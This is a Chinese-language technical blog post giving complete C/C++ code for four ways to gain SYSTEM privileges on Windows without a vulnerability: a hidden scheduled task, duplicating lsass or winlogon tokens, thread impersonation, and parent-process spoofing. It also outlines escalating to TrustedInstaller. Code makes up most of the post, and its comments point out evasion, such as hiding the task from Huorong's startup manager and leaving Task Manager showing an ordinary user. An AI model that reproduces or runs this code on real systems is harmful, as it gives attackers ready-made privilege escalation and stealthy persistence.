非漏洞提权System的几种方式

计划任务

计划任务可指定用户为SYSTEM

这里提供简易的C代码,有点屎山(笑)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
#include <comdef.h>
#include <taskschd.h>
#include <windows.h>
#pragma comment(lib, "taskschd.lib")

int CreateSystemProcess_Scheduler(LPCWSTR ExecutablePath, LPCWSTR CommandLine = 0) {
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr))
{
//printf("\nCoInitializeEx failed: %x", hr);
return 1;
}

hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);

if (FAILED(hr))
{
//printf("\nCoInitializeSecurity failed: %x", hr);
CoUninitialize();
return 1;
}

LPCWSTR wszTaskName = L"temp";

ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);
if (FAILED(hr))
{
//printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}

hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if (FAILED(hr))
{
//printf("ITaskService::Connect failed: %x", hr);
pService->Release();
CoUninitialize();
return 1;
}

ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\Microsoft\\Windows"), &pRootFolder);
//hr = pRootFolder->CreateFolder(_bstr_t(L"temp"), { 0 }, &pRootFolder);
if (FAILED(hr)) {
//printf("Cannot get Root folder pointer: %x", hr);
pService->Release();
CoUninitialize();
return 1;
}

pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);

ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);

pService->Release();
if (FAILED(hr))
{
//printf("Failed to CoCreate an instance of the TaskService class: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}

IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
if (FAILED(hr))
{
//printf("\nCannot get identification pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

// ------------------------------------------------------
// Create the principal for the task - these credentials
// are overwritten with the credentials passed to RegisterTaskDefinition
IPrincipal* pPrincipal = NULL;
hr = pTask->get_Principal(&pPrincipal);
if (FAILED(hr))
{
//printf("\nCannot get principal pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

//以最高权限运行
hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
if (FAILED(hr))
{
//printf("\nCannot put principal info: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

//以SYSTEM账户运行
hr = pPrincipal->put_UserId((BSTR)L"SYSTEM");
if (FAILED(hr))
{
//printf("\nCannot put principal info: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

// Set up principal logon type to interactive logon
hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
pPrincipal->Release();
if (FAILED(hr))
{
//printf("\nCannot put principal info: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
if (FAILED(hr))
{
//printf("\nCannot get settings pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

//禁用仅交流电源
hr = pSettings->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
if (FAILED(hr)) {
//printf("\nCannot put setting information: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

//隐藏计划任务,可绕过火绒启动项管理(无法绕过火绒剑和360的启动项管理)
//现在火绒剑下架了,windows自带的计划任务又不能搜索,路径藏深点,火绒用户不使用专业的ARK工具根本找不到启动项在哪里(笑)
hr = pSettings->put_Hidden(VARIANT_TRUE);
if (FAILED(hr)) {
//printf("\nCannot put setting information: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if (FAILED(hr))
{
//printf("\nCannot put setting information: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

/*
//触发器
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
if (FAILED(hr))
{
//printf("\nCannot get trigger collection: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

//当任何用户登录时
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->Release();
if (FAILED(hr))
{
//printf("\nCannot create trigger: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
*/

//操作
IActionCollection* pActionCollection = NULL;

// Get the task action collection pointer.
hr = pTask->get_Actions(&pActionCollection);
if (FAILED(hr))
{
//printf("\nCannot get Task collection pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

// Create the action, specifying that it is an executable action.
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
pActionCollection->Release();
if (FAILED(hr))
{
//printf("\nCannot create the action: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

IExecAction* pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**)&pExecAction);
pAction->Release();
if (FAILED(hr))
{
//printf("\nQueryInterface call failed for IExecAction: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

//启动程序
hr = pExecAction->put_Path(_bstr_t(ExecutablePath));
if (FAILED(hr))
{
//printf("\nCannot put action path: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

//启动程序的命令行
if (CommandLine) {
hr = pExecAction->put_Arguments((BSTR)CommandLine);
pExecAction->Release();
if (FAILED(hr))
{
//printf("\n无法设置操作命令行:%x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
}

//保存计划任务
IRegisteredTask* pRegisteredTask = NULL;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(),
_variant_t(),
TASK_LOGON_INTERACTIVE_TOKEN,
_variant_t(L""),
&pRegisteredTask);
if (FAILED(hr))
{
//printf("\nError saving the Task : %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

//运行
IRunningTask* pRunningTask = NULL;
hr = pRegisteredTask->Run(_variant_t(), &pRunningTask);
if (FAILED(hr)) {
//printf("\nError running the Task : %x", hr);
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 1;
}

//printf("\n Success! Task successfully registered. ");

// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}

int main(){
CreateSystemProcess_Scheduler(L"C:\\Users\\ADMIN\\Desktop\\user.exe");
}

Token复制(CreateProcessWithTokenWImpersonateLoggedOnUser

CreateProcessWithTokenW创建新进程

参考简单使用系统System(超级管理员)权限运行进程-提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <windows.h>
#include <TlHelp32.h>

BOOL EnableDebugPriv() {
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
CloseHandle(hToken);
return FALSE;
}

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
CloseHandle(hToken);
}

return TRUE;
}

BOOL CreateSystemProcess_CreateProcessWithTokenW(LPCWSTR CommandLine) {
if (!EnableDebugPriv()) {
return FALSE;
}

//枚举进程获取lsass.exe的ID和winlogon.exe的ID,它们是少有的可以直接打开句柄的系统进程
DWORD idL, idW;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(hSnapshot, &pe)) {
do {
if (0 == wcscmp(pe.szExeFile, L"lsass.exe")) {
idL = pe.th32ProcessID;
}
else if (0 == wcscmp(pe.szExeFile, L"winlogon.exe")) {
idW = pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);

//获取句柄,先试lsass再试winlogon
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, idL);
if (!hProcess)hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, idW);
HANDLE hTokenx;
//获取令牌
OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hTokenx);
CloseHandle(hProcess);
//复制令牌
HANDLE token;
DuplicateTokenEx(hTokenx, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &token);
CloseHandle(hTokenx);
//启动信息
STARTUPINFOW si = { 0 };
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFOW);
si.lpDesktop = (LPWSTR)L"winsta0\\default";//显示窗口
//启动进程,不能用CreateProcessAsUser否则报错1314无特权
BOOL ret = CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, (LPWSTR)CommandLine, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
CloseHandle(token);

return ret;
}

int main(){
CreateSystemProcess_CreateProcessWithTokenW(L"C:\\Users\\ADMIN\\Desktop\\user.exe");
}

ImpersonateLoggedOnUser提权自身

相比于上面的方法,这个只会提权当前线程,更加隐蔽

如下图所示,线程已经获得SYSTEM权限,而任务管理器显示的还是普通用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
BOOL CreateSystemProcess_ImpersonateLoggedOnUser() {
if (!EnableDebugPriv()) {
return FALSE;
}

//枚举进程获取lsass.exe的ID和winlogon.exe的ID,它们是少有的可以直接打开句柄的系统进程
DWORD idL, idW;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(hSnapshot, &pe)) {
do {
if (0 == wcscmp(pe.szExeFile, L"lsass.exe")) {
idL = pe.th32ProcessID;
}
else if (0 == wcscmp(pe.szExeFile, L"winlogon.exe")) {
idW = pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);

//获取句柄,先试lsass再试winlogon
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, idL);
if (!hProcess)hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, idW);
HANDLE hTokenx;
//获取令牌
OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hTokenx);
CloseHandle(hProcess);
//复制令牌
HANDLE token;
DuplicateTokenEx(hTokenx, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &token);
CloseHandle(hTokenx);
BOOL ret = ImpersonateLoggedOnUser(token);
CloseHandle(token);
return ret;
}

服务项

类似计划任务,服务项同样可以指定SYSTEM用户,不过需要被运行程序实现一套服务接口(Windows服务二三事——编写Windows服务)或者用其他的方法绕过(创建用户定义的服务),比较麻烦

父进程欺骗

参考父进程欺骗–DidierStevens

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <windows.h>
#include <tlhelp32.h>
#include <cstdio>

BOOL EnableDebugPriv() {
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
CloseHandle(hToken);
return FALSE;
}

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
CloseHandle(hToken);
}

return TRUE;
}

BOOL SelectMyParent(LPWSTR CommandLine, DWORD dwParentID) {
if (!EnableDebugPriv()) {
return FALSE;
}

SIZE_T cbAttributeListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);

PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
if (!pAttributeList){
return FALSE;
}
if (!InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize)) {
return FALSE;
}

HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwParentID);
if (!hParentProcess){
return FALSE;
}

if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)){
return FALSE;
}

PROCESS_INFORMATION pi = {0};

STARTUPINFOEXW sie = { 0 };
sie.StartupInfo.cb = sizeof(STARTUPINFOEXW);
sie.lpAttributeList = pAttributeList;

if (!CreateProcessW(NULL,
CommandLine,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
&sie.StartupInfo,
&pi))
{
return FALSE;
}

//WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hParentProcess);

DeleteProcThreadAttributeList(pAttributeList);
HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, sie.lpAttributeList);

return TRUE;
}

BOOL CreateSystemProcess_SelectParent(LPCWSTR CommandLine) {
DWORD idL;
PROCESSENTRY32W pe = {0};
pe.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (0 == wcscmp(pe.szExeFile, L"lsass.exe")) {
break;
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);

//我这里懒省事了,当心长路径溢出!!
wchar_t temp[MAX_PATH] = { 0 };
wcscpy_s(temp, CommandLine);
return SelectMyParent(temp, pe.th32ProcessID);
}

int main() {
CreateSystemProcess_SelectParent(L"C:\\Users\\ADMIN\\Desktop\\Project1.exe");
}

番外:提权TrustedInstaller

TrustedInstaller是系统最高权限(比SYSTEM还高)

提权方法1:提权SYSTEM -> 启动TrustedInstaller服务 -> 打开TrustedInstaller.exe进程,获取token -> 使用CreateProcessWithTokenW创建新进程或使用ImpersonateLoggedOnUser提权自身

提权方法2:提权SYSTEM -> 启动TrustedInstaller服务 -> 创建新进程,且父进程设置为TrustedInstaller.exe

显而易见,除了启动TrustedInstaller服务以外,其他操作都是换汤不换药

既然换汤不换药,那代码就不写了(懒)…


非漏洞提权System的几种方式
https://crackme.net/articles/run_as_system/
作者
Brassinolide
发布于
2024年9月16日
许可协议